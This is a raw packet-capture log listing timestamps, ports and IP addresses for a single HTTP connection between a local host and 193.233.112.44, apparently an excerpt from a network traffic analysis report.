Oct 3, 2024 23:17:08.157438993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157474041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157505989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157514095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157537937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157537937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157551050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157574892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157588005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157609940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157625914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157644033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157653093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157679081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157685041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157715082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157721043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157751083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157753944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157785892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157790899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157820940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157825947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157855034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157861948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157888889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157897949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157926083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157931089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157962084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157967091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158003092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158332109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158365965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158384085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158399105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158406019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158433914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158440113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158472061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158478975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158507109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158519030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158543110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158554077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158579111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158590078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158616066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158618927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158651114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158659935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158687115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158698082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158723116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158735037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158760071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158771038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158790112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.158806086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.158838987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174164057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174215078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174242020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174252033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174257040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174288988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174297094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174325943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174329996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174361944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174371958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174398899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174408913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174437046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174446106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174482107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174591064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174640894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174645901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174680948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174690008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174716949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174721956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174765110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174834967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174870014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174885988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174911022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.174936056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.174984932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.175050020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.175084114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.175103903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.175126076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.175127029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.175175905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.226427078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.226550102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.226870060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.226917028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.226938963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.226969957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.226975918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227013111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227026939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227044106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227061033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227089882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227097034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227133036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227144003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227166891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227180958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227202892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227209091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227237940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227246046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227274895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227283955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227308989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227323055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227354050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227363110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227411032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227431059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227468014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227477074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227505922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227513075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227541924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227549076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227576971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227586985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227612019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227622032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227642059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227657080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227686882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227696896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227732897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227744102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227762938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227777004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227797985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227807999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227834940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227844000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227880001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227888107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227931023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.227941036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227974892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.227986097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228009939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228017092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228044987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228055954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228080988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228085041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228118896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228125095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228153944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228163958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228188038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228198051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228224039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228229046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228260994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.228267908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.228303909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245417118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245455980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245492935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245531082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245552063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245670080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245704889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245718956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245748997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245758057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245794058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245805979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245829105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245835066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245865107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245872021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245899916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245906115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245934963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245940924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.245969057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.245979071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246011019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246052980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246085882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246097088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246125937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246126890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246157885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246170998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246200085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246227026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246270895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246278048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246311903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246320009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246346951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246352911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246383905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246443033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246486902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246495008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246529102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246536970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246562958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246568918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246602058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246655941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246699095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246737003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246771097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246777058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246803999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246812105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246839046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246844053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246872902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246881008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246908903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.246915102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.246952057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247222900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247256994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247277975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247287989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247298002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247318983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247328997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247359991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247370005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247411013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247425079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247458935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247467995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247493982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247502089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247528076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247534037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247561932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247567892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247596979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247603893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247639894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247641087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247682095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247770071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.247812033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.247998953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248032093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248049974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248065948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248076916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248096943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248109102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248131037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248141050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248164892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248172998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248194933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248204947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248230934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248241901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248265028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248274088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248300076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248305082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248336077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248341084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248369932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248377085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248403072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248408079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248433113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248446941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248466015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248473883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248502016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248506069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248543024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248730898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248764038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248783112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248799086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248805046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248833895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248836994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248874903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.248874903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.248913050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.302619934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.302706957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.302726030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.302740097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.302750111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.302776098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.302788019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.302812099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.302818060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.302855968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.302954912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.302988052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303008080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303023100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303030014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303060055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303071976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303097010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303118944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303143024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303322077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303354979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303369999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303409100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303414106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303455114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303459883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303497076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303596973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303630114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303649902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303663015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.303669930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.303694010 CEST	80	49710	193.233.112.44	192.168.2.5
